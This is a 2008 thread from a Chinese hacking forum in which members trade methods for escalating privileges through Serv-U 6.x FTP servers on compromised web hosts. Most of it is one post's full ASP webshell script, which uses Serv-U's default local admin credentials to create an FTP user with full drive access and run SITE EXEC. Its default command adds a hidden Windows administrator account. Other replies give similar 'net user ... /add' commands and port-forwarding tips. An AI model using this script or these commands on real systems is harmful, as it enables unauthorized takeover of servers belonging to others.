[讨论]关于SU提权中出现的问题(页 1) - 技术讨论{ Technique Discussions } - 邪恶八进制信息安全团队技术讨论组努力为祖国的信息安全撑起一片蓝天

mlove 2008-2-27 17:44

[讨论]关于SU提权中出现的问题

*** 作者被禁止或删除内容自动屏蔽 ***

jxsaqjh 2008-2-28 19:07

su6.4很多时候是不能直接加用户执行命令的，否则就会让SU结束进程，所以要改下提权工具的源码，把那个连接21的IP改成肉鸡的真实IP就OK

憶楓 2008-2-28 22:52

我手上也有几个SU6.4的站真不在的SU怎么提权啊啊用的是心动吧那个FTP提权的也没有用郁闷啊

[[i] 本帖最后由憶楓于 2008-2-28 22:57 编辑 [/i]]

瘋吇ぺｘ 2008-2-29 09:00

用FTP提权工具先添加个端口
在直接用加用户的工具先加个有执行权限的用户,
然后再自己QUOTE SITE EXEC"COMMAND",

wangwang110 2008-3-1 04:39

用ser-u6.4提权脚本不就行了吗

<%@ LANGUAGE = VBScript %>
<%
Dim user, pass, port, ftpport, cmd, loginuser, loginpass, deldomain, mt, newdomain, newuser, quit
dim action
action=request("action")
if  not isnumeric(action) then response.end
user = trim(request("u"))
pass = trim(request("p"))
port = trim(request("port"))
cmd = trim(request("c"))
f=trim(request("f"))
if f="" then
f=gpath()
else
f=left(f,2)
end if
ftpport = ffport
timeout=3

loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=" & iip & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=leaves|" & iip & "|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=luo" & vbCrLf & "-Password=ye" & vbCrLf & _
      "-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _
      "-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _
      "-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _
      "-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _
      "-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _
      "-Maintenance=System" & vbCrLf & "-PasswordType=Regular" & vbCrLf & "-Ratios=None" & vbCrLf & " Access=c:\\|RWAMELCDP" & vbCrLf
quit = "QUIT" & vbCrLf
newuser=replace(newuser,"c:",f)
select case action
case 1
set a=Server.CreateObject("Microsoft.XMLHTTP")
a.open "GET", "http://127.0.0.1:" & port & "/leaves/upadmin/s1",True, "", ""
a.send loginuser & loginpass & mt & deldomain & newdomain & newuser & quit
set session("a")=a
%>
<form method="post" name="leaves">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="2"></form>
<script language="javascript">
document.write('<center>正在连接 127.0.0.1:<%=port%>,使用用户名: <%=user%>,口令：<%=pass%>...<center>');
setTimeout("document.all.leaves.submit();",4000);
</script>
<%
case 2
set b=Server.CreateObject("Microsoft.XMLHTTP")
b.open "GET", "http://127.0.0.1:" & ftpport & "/leaves/upadmin/s2", True, "", ""
b.send "User luo" & vbCrLf & "pass ye" & vbCrLf & "site exec " & cmd & vbCrLf & quit
set session("b")=b
%>
<form method="post" name="leaves">
<input name="u" type="hidden" id="u" value="<%=user%>"></td>
<input name="p" type="hidden" id="p" value="<%=pass%>"></td>
<input name="port" type="hidden" id="port" value="<%=port%>"></td>
<input name="c" type="hidden" id="c" value="<%=cmd%>" size="50">
<input name="f" type="hidden" id="f" value="<%=f%>" size="50">
<input name="action" type="hidden" id="action" value="3"></form>
<script language="javascript">
document.write('<center>正在提升权限,请等待...,<center>');
setTimeout("document.all.leaves.submit();",4000);
</script>
<%
case 3
set c=Server.CreateObject("Microsoft.XMLHTTP")
c.open "GET", "http://127.0.0.1:" & port & "/leaves/upadmin/s3", True, "", ""
c.send loginuser & loginpass & mt & deldomain & quit
set session("c")=c
%>
<center>提权完毕,已执行了命令：
<font color=red><%=cmd%></font>

<input type=button value=" 返回继续 " onClick="location.href='<%=gname()%>';">
</center>

<%
case else
on error resume next
set a=session("a")
set b=session("b")
set c=session("c")
a.abort
Set a = Nothing
b.abort
Set b = Nothing
c.abort
Set c = Nothing
%>
<center><form method="post" name="leaves">
  <tr align="center" valign="middle">
<td colspan="2">Serv-U 6.X 提权脚本 by 落叶纷飞【S.S.T】 @ 肇庆</td>

  </tr>
  <tr align="center" valign="middle">
<td width="200">用户名:</td>

<td width="400"><input name="u" type="text" id="u" value="LocalAdministrator"></td>

  </tr>
  <tr align="center" valign="middle">
<td>口　令：</td>

<td><input name="p" type="text" id="p" value="#l@$ak#.lk;0@P"></td>

  </tr>
  <tr align="center" valign="middle">
<td>端　口：</td>

<td><input name="port" type="text" id="port" value="43958"></td>

服务器端口：

<td><input name="ffport" type="text" id="ffport" value="65500"></td>

服务器IP：

<td><input name="iip" type="text" id="iip" value="0.0.0.0"></td>

  </tr>
  <tr align="center" valign="middle">
<td>系统路径：</td>

<td><input name="f" type="text" id="f" value="<%=f%>" size="8"></td>

  </tr>
  <tr align="center" valign="middle">
<td>命　令：</td>

<td><input name="c" type="text" id="c" value="cmd /c net user leaves cnsst /add & net localgroup administrators leaves /add" size="50"></td>

  </tr>
  <tr align="center" valign="middle">
<td colspan="2"><input type="submit" name="Submit" value="提交">
   <input type="reset" name="Submit2" value="重置">
   <input name="action" type="hidden" id="action" value="1"></td>
  </tr>
</form></center>

使用方法：如果是6.4以下的保持默认即可，只要按你的需要修改执行的命令即可！如果为6.4请在“服务器端口”里填21，然后再在“服务器IP”中填写服务器的真实IP。
<% end select
function Gpath()
on error resume next
err.clear
set f=Server.CreateObject("Scripting.FileSystemObject")
if err.number>0 then
gpath="c:"
      exit function
end if
gpath=f.GetSpecialFolder(0)
gpath=lcase(left(gpath,2))
set f=nothing
end function
Function GName()
If request.servervariables("SERVER_PORT")="80" Then
GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name"))
Else
GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name"))
End If
End Function
%>
把上面的代码保存为su.asp上传到网站上，然后根据提示改下ip和端口，如果再提权不行，那就应该就是管理员修改了密码了！说实话本人也没有弄成功过！

join 2008-3-1 08:58

偶也遇到过这种情况，用ser-u6.4提权脚本不成功。
可以将43958端口转发到本地，在本地建个S—U加个管理员
然后在CMD下FTP登陆
执行 QUOTE SITE EXEC"net user join 123/add"

fuckshell 2008-3-1 10:35

有时候“域”也很重要。我前些日子拿到个6.4的。用刚出来的通杀的su提权马没有。改了一下相应管理员修改后的域后才成功的

柳柳 2008-3-1 21:24

你的问题貌似我也遇见过的，，，。。。实在是让人心碎啊。。。最近我拿到了通杀serv-u的asp大马和本地溢出测试时是通杀的，，，。。但是在用在网站提权的时候貌似没成功而且那个serv-u还是 6.2的。。郁闷死。。。我直接传asp溢出。。一访问IE就直接关闭。。。晕死。。。。

还有楼上的端口转发要是webshell的cmd权限一点没有。。怎么转发呢？？？

幽月说他的serv-u是通杀的结果还是不行不知道为什么。。。郁闷中呢。。。。。

asasok 2008-3-3 03:29

我把你们说的差不多的，都试了一遍，哎，还是没有成功:cry: 6.4到底怎么搞

页: [1]

邪恶八进制信息安全团队技术讨论组's Archiver

[讨论]关于SU提权中出现的问题

用ser-u6.4提权脚本不就行了吗